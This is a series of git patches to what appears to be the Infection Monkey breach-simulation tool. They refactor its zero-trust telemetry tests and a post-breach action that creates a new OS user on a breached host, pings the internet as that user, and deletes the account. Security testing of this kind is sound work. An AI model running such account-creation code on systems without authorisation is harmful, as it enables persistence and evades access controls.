index 0c36b7b94..a48c3598a 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -3,6 +3,10 @@ from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAIL
 from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
 from monkey_island.cc.models.zero_trust.event import Event
 
+COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}"
+COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \
+    "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}"
+
 
 def test_new_user_communication(current_monkey, success, message):
     AggregateFinding.create_or_add_to_existing(
@@ -24,16 +28,9 @@ def get_attempt_event(current_monkey):
 
 
 def get_result_event(current_monkey, message, success):
-    if success:
-        event_to_append = Event.create_event(
-            title="Communicate as new user",
-            message="New user created by Monkey on {} successfully tried to communicate with the internet. "
-                    "Details: {}".format(current_monkey.hostname, message),
-            event_type=EVENT_TYPE_MONKEY_NETWORK)
-    else:
-        event_to_append = Event.create_event(
-            title="Communicate as new user",
-            message="Monkey on {} couldn't communicate as new user. Details: {}".format(
-                current_monkey.hostname, message),
-            event_type=EVENT_TYPE_MONKEY_NETWORK)
-    return event_to_append
+    message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT
+
+    return Event.create_event(
+        title="Communicate as new user",
+        message=message_format.format(current_monkey.hostname, message),
+        event_type=EVENT_TYPE_MONKEY_NETWORK)

From 0a11c4b0076d6b70ef670cd3f5612281589317b8 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 16:17:30 +0300
Subject: [PATCH 71/78] Extracted duplicate code to
 `add_malicious_activity_to_timeline` helper function

---
 .../cc/models/zero_trust/aggregate_finding.py        |  9 +++++++++
 .../cc/models/zero_trust/test_aggregate_finding.py   |  4 ++--
 .../telemetry/zero_trust_tests/data_endpoints.py     |  8 ++------
 .../telemetry/zero_trust_tests/machine_exploited.py  |  8 ++------
 .../services/telemetry/zero_trust_tests/tunneling.py | 12 ++++--------
 5 files changed, 19 insertions(+), 22 deletions(-)

diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
index 613b9a4a2..c3ed52649 100644
--- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
@@ -1,3 +1,4 @@
+from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
 from monkey_island.cc.models.zero_trust.finding import Finding
 
 
@@ -21,3 +22,11 @@ class AggregateFinding(Finding):
             orig_finding = existing_findings[0]
             orig_finding.add_events(events)
             orig_finding.save()
+
+
+def add_malicious_activity_to_timeline(events):
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
+        status=STATUS_VERIFY,
+        events=events
+    )
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
index 4a67a21b7..c1a94166f 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -12,7 +12,7 @@ class TestAggregateFinding(IslandTestCase):
 
         test = TEST_MALICIOUS_ACTIVITY_TIMELINE
         status = STATUS_VERIFY
-        events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)]
+        events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
         self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
 
         AggregateFinding.create_or_add_to_existing(test, status, events)
@@ -31,7 +31,7 @@ class TestAggregateFinding(IslandTestCase):
 
         test = TEST_MALICIOUS_ACTIVITY_TIMELINE
         status = STATUS_VERIFY
-        event = Event.create_event("t", "t", EVENT_TYPE_ISLAND)
+        event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
         events = [event]
         self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
 
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
index 7b45b1dee..68a7f713d 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -3,7 +3,7 @@ import json
 from common.data.network_consts import ES_SERVICE
 from common.data.zero_trust_consts import *
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
 from monkey_island.cc.models.zero_trust.event import Event
 
 HTTP_SERVERS_SERVICES_NAMES = ['tcp-80']
@@ -67,8 +67,4 @@ def test_open_data_endpoints(telemetry_json):
         events=events
     )
 
-    AggregateFinding.create_or_add_to_existing(
-        test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
-        status=STATUS_VERIFY,
-        events=events
-    )
+    add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index 8198b5a3e..454f3a7fe 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -1,6 +1,6 @@
 from common.data.zero_trust_consts import *
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
 from monkey_island.cc.models.zero_trust.event import Event
 
 
@@ -36,8 +36,4 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target
         events=events
     )
 
-    AggregateFinding.create_or_add_to_existing(
-        test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
-        status=STATUS_VERIFY,
-        events=events
-    )
+    add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
index ba55fc575..ce34c2bb4 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
@@ -1,7 +1,6 @@
-from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_VERIFY, \
-    TEST_MALICIOUS_ACTIVITY_TIMELINE
+from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
 from monkey_island.cc.models.zero_trust.event import Event
 from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
 
@@ -18,14 +17,11 @@ def test_tunneling_violation(tunnel_telemetry_json):
             event_type=EVENT_TYPE_MONKEY_NETWORK,
             timestamp=tunnel_telemetry_json['timestamp']
         )]
+
         AggregateFinding.create_or_add_to_existing(
             test=TEST_TUNNELING,
             status=STATUS_FAILED,
             events=tunneling_events
         )
 
-        AggregateFinding.create_or_add_to_existing(
-            test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
-            status=STATUS_VERIFY,
-            events=tunneling_events
-        )
+        add_malicious_activity_to_timeline(tunneling_events)

From 3b06768a98925ba69e3d4f3be2ec1eb24600657d Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 16:32:21 +0300
Subject: [PATCH 72/78] Replaced sleep loop for waiting on the process with
 WaitForSingleObject winapi.

---
 .../actions/communicate_as_new_user.py        | 28 +++++++++++++------
 1 file changed, 19 insertions(+), 9 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 1c5dfcf45..cf49dc349 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -5,6 +5,8 @@ import string
 import subprocess
 import time
 
+import win32event
+
 from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError
 from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
 from infection_monkey.post_breach.pba import PBA
@@ -14,7 +16,7 @@ from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user
 
 PING_TEST_DOMAIN = "google.com"
 
-PING_WAIT_TIMEOUT_IN_SECONDS = 20
+PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000
 
 CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged."
 CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})."
@@ -95,15 +97,16 @@ class CommunicateAsNewUser(PBA):
                         # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
                     )
 
+                    logger.debug(
+                        "Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS))
+
+                    # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later.
+                    _ = win32event.WaitForSingleObject(  # Waits until the specified object is signaled, or time-out.
+                        process_handle,  # Ping process handle
+                        PING_WAIT_TIMEOUT_IN_MILLISECONDS  # Timeout in milliseconds
+                    )
+
                     ping_exit_code = win32process.GetExitCodeProcess(process_handle)
-                    counter = 0
-                    while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS:
-                        ping_exit_code = win32process.GetExitCodeProcess(process_handle)
-                        counter += 1
-                        logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(
-                            counter,
-                            ping_exit_code))
-                        time.sleep(1)
 
                     self.send_ping_result_telemetry(ping_exit_code, commandline, username)
                 except Exception as e:
@@ -125,6 +128,13 @@ class CommunicateAsNewUser(PBA):
             PostBreachTelem(self, (str(e), False)).send()
 
     def send_ping_result_telemetry(self, exit_status, commandline, username):
+        """
+        Parses the result of ping and sends telemetry accordingly.
+
+        :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success.
+        :param commandline: Exact commandline which was executed, for reporting back.
+        :param username: Username from which the command was executed, for reporting back.
+        """
         if exit_status == 0:
             PostBreachTelem(self, (
                 CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send()

From 1f56e8df61566056b0254a513e7509d6bbbe9fa8 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 16:34:13 +0300
Subject: [PATCH 73/78] Use classname instead of self for static method

---
 .../post_breach/actions/communicate_as_new_user.py              | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index cf49dc349..4522def4f 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -37,7 +37,7 @@ class CommunicateAsNewUser(PBA):
         super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
 
     def run(self):
-        username = self.get_random_new_user_name()
+        username = CommunicateAsNewUser.get_random_new_user_name()
         if is_windows_os():
             self.communicate_as_new_user_windows(username)
         else:

From d4947d97f3eb1bcd0524ac829d98b1b9dbadb556 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 16:37:30 +0300
Subject: [PATCH 74/78] Lock npm version for `pluralize`

---
 monkey/monkey_island/cc/ui/package.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 983366c6e..4da085836 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -105,6 +105,6 @@
     "redux": "^4.0.0",
     "sass-loader": "^7.1.0",
     "sha3": "^2.0.0",
-    "pluralize": "latest"
+    "pluralize": "^7.0.0"
   }
 }

From 9f98025d3356bec9b4324a6af3cefcd635c21040 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 16:44:16 +0300
Subject: [PATCH 75/78] Using protocol as well for cases when we are running on
 HTTP and not HTTPS (npm run start for example)

---
 monkey/monkey_island/cc/server_config.json        | 2 +-
 monkey/monkey_island/cc/ui/src/components/Main.js | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
index 420f1b303..7bf106194 100644
--- a/monkey/monkey_island/cc/server_config.json
+++ b/monkey/monkey_island/cc/server_config.json
@@ -1,4 +1,4 @@
 {
-  "server_config": "standard",
+  "server_config": "testing",
   "deployment": "develop"
 }
diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 9fd3d8f1c..09038292e 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -215,7 +215,8 @@ class AppComponent extends AuthComponent {
     if (this.shouldShowNotification()) {
       const hostname = window.location.hostname;
       const port = window.location.port;
-      const url = `https://${hostname}:${port}${reportZeroTrustRoute}`;
+      const protocol = window.location.protocol;
+      const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`;
 
       Notifier.start(
         "Monkey Island",

From 841e54afc883a9260c7f5420590eed9337169ae5 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 17:41:26 +0300
Subject: [PATCH 76/78] Fixed UTs

---
 .../reporting/test_zero_trust_service.py      | 85 +++++++++++++++----
 1 file changed, 69 insertions(+), 16 deletions(-)

diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index 5d84a9cb0..46b4fefd7 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -54,14 +54,14 @@ class TestZeroTrustService(IslandTestCase):
                 STATUS_FAILED: 0,
                 STATUS_VERIFY: 2,
                 STATUS_PASSED: 0,
-                STATUS_UNEXECUTED: 0,
+                STATUS_UNEXECUTED: 1,
                 "pillar": "People"
             },
             {
                 STATUS_FAILED: 0,
                 STATUS_VERIFY: 2,
                 STATUS_PASSED: 0,
-                STATUS_UNEXECUTED: 2,
+                STATUS_UNEXECUTED: 4,
                 "pillar": "Networks"
             },
             {
@@ -82,7 +82,7 @@ class TestZeroTrustService(IslandTestCase):
                 STATUS_FAILED: 0,
                 STATUS_VERIFY: 0,
                 STATUS_PASSED: 0,
-                STATUS_UNEXECUTED: 1,
+                STATUS_UNEXECUTED: 3,
                 "pillar": "Visibility & Analytics"
             },
             {
@@ -102,6 +102,8 @@ class TestZeroTrustService(IslandTestCase):
         self.fail_if_not_testing_env()
         self.clean_finding_db()
 
+        self.maxDiff = None
+
         save_example_findings()
 
         expected = {
@@ -111,14 +113,14 @@ class TestZeroTrustService(IslandTestCase):
                     "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
                     "status": STATUS_FAILED,
                     "tests": [
+                        {
+                            "status": STATUS_FAILED,
+                            "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
+                        },
                         {
                             "status": STATUS_UNEXECUTED,
                             "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
                         },
-                        {
-                            "status": STATUS_FAILED,
-                            "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
-                        }
                     ]
                 }
             ],
@@ -127,14 +129,14 @@ class TestZeroTrustService(IslandTestCase):
                     "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
                     "status": STATUS_FAILED,
                     "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
+                        },
                         {
                             "status": STATUS_FAILED,
                             "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
                         },
-                        {
-                            "status": STATUS_UNEXECUTED,
-                            "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
-                        }
                     ]
                 }
             ],
@@ -159,6 +161,16 @@ class TestZeroTrustService(IslandTestCase):
                         }
                     ]
                 },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
                 {
                     "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
                     "status": STATUS_UNEXECUTED,
@@ -168,7 +180,17 @@ class TestZeroTrustService(IslandTestCase):
                             "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
                         }
                     ]
-                }
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
             ],
             PEOPLE: [
                 {
@@ -180,9 +202,29 @@ class TestZeroTrustService(IslandTestCase):
                             "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
                         }
                     ]
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+                        }
+                    ]
                 }
             ],
-            "Visibility & Analytics": [
+            VISIBILITY_ANALYTICS: [
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
                 {
                     "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
                     "status": STATUS_UNEXECUTED,
@@ -192,12 +234,23 @@ class TestZeroTrustService(IslandTestCase):
                             "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
                         }
                     ]
-                }
+                },
+                {
+                    "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+                    "status": STATUS_UNEXECUTED,
+                    "tests": [
+                        {
+                            "status": STATUS_UNEXECUTED,
+                            "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+                        }
+                    ]
+                },
             ],
-            "Workloads": []
+            WORKLOADS: []
         }
 
-        self.assertEquals(ZeroTrustService.get_principles_status(), expected)
+        result = ZeroTrustService.get_principles_status()
+        self.assertEquals(result, expected)
 
     def test_get_pillars_to_statuses(self):
         self.fail_if_not_testing_env()

From db328a3432ff8b51b72a0b467e8163d37312ac0b Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 17:42:21 +0300
Subject: [PATCH 77/78] Accidentaly committed server config testing :-1:

---
 monkey/monkey_island/cc/server_config.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
index 7bf106194..420f1b303 100644
--- a/monkey/monkey_island/cc/server_config.json
+++ b/monkey/monkey_island/cc/server_config.json
@@ -1,4 +1,4 @@
 {
-  "server_config": "testing",
+  "server_config": "standard",
   "deployment": "develop"
 }

From 0667aad87fd2a1b2615e2f64d12c2ea15b496a03 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Mon, 16 Sep 2019 17:57:35 +0300
Subject: [PATCH 78/78] Small fixes - reversed condition accidentaly and missed
 one reference to get_windows_commands_to_add_user

---
 .../post_breach/actions/communicate_as_new_user.py            | 2 +-
 monkey/infection_monkey/utils/windows/auto_new_user.py        | 4 ++--
 .../telemetry/zero_trust_tests/communicate_as_new_user.py     | 3 ++-
 3 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 4522def4f..296179d41 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -45,7 +45,7 @@ class CommunicateAsNewUser(PBA):
 
     @staticmethod
     def get_random_new_user_name():
-        return USERNAME + "_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+        return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
 
     def communicate_as_new_user_linux(self, username):
         try:
diff --git a/monkey/infection_monkey/utils/windows/auto_new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py
index 5cf840ad1..d95ac0bf0 100644
--- a/monkey/infection_monkey/utils/windows/auto_new_user.py
+++ b/monkey/infection_monkey/utils/windows/auto_new_user.py
@@ -2,7 +2,7 @@ import logging
 import subprocess
 
 from infection_monkey.post_breach.actions.add_user import BackdoorUser
-from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user
+from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user
 
 logger = logging.getLogger(__name__)
 
@@ -34,7 +34,7 @@ class AutoNewUser(object):
         self.username = username
         self.password = password
 
-        windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True)
+        windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
         _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
 
     def __enter__(self):
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
index a48c3598a..6c5b1154b 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -11,7 +11,8 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \
 def test_new_user_communication(current_monkey, success, message):
     AggregateFinding.create_or_add_to_existing(
         test=TEST_COMMUNICATE_AS_NEW_USER,
-        status=STATUS_PASSED if success else STATUS_FAILED,
+        # If the monkey succeeded to create a user, then the test failed.
+        status=STATUS_FAILED if success else STATUS_PASSED,
         events=[
             get_attempt_event(current_monkey),
             get_result_event(current_monkey, message, success)